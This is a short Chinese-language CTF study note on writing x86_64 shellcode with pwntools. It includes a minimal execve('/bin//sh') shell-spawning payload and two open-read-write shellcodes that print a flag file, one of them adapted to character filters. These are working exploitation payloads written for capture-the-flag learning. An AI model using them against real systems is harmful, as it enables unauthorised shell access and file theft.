basic_shellcode

[TOC]

注意架构

通常情况下,pwntools 会根据您的操作系统和系统架构来自动选择合适的默认架构。如果您在64位操作系统上运行 pwntools,它通常会默认使用 x86_64 架构 #无任何限制的shellcode 直接用asm(shellcraft.sh())生成shellcode 注意rdi存的值不是字符串/bin/sh,而是存放/bin/sh的地址

最短shellcode 执行execve函数

cdq指令把 EAX 的第 31 bit 复制到 EDX 的每一个 bit 上,主要用途是将rdx置为0

xor 	rsi, rsi
push	rsi	
mov rdi, 0x68732f2f6e69622f   
push	rdi
push	rsp		
pop	rdi			
mov al,59	
cdq				
syscall

注意这几步操作,先把/bin//sh字符存入rdi,然后push rdi,那么/bin//sh就进入栈中,rsp现在正指向sh的地址,再push rsp,就是把sh的地址放入栈中,pop rdi就是把sh的地址放入rdi中 不能简单的只mov rdi, 0x68732f2f6e69622f

orw的shellcode

长度为0x28字节,主要是通过异或实现了取代了mov减少长度要求

mov rdx, 0x200
push 0x67616c66  这就是flag的字符串
mov rdi,rsp  
xor esi,esi  #如果本来rsi=0,可以删掉这句
mov eax,2   
syscall      eax=2  open(‘flag’,0)
mov edi,3
mov rsi,rsp
xor eax,eax    
syscall      eax=0  read(3,buf,0x200)
xor edi,2  
mov eax,edi
syscall      eax=1  write(1,buf,0x200)

做题的时候发现edx不能太大,不然程序会崩掉,同时限制了字符可以这样orw

shellcode='''
mov byte ptr [rsp+0x0],0x66
mov byte ptr [rsp+0x1],0x6c
mov byte ptr [rsp+0x2],0x60
mov byte ptr [rsp+0x3],0x67
mov byte ptr [rsp+0x4],0
mov byte ptr [rsp+0x5],0
mov byte ptr [rsp+0x6],0
mov byte ptr [rsp+0x7],0
xor byte  ptr [rsp+0x2],1
mov edx,0x200
push rsp
pop rdi
xor esi,esi  
mov eax,2   
syscall   

mov edi,eax
push rsp
pop rsi
xor eax,eax    
syscall    

xor edi,2  
mov eax,edi
syscall      
'''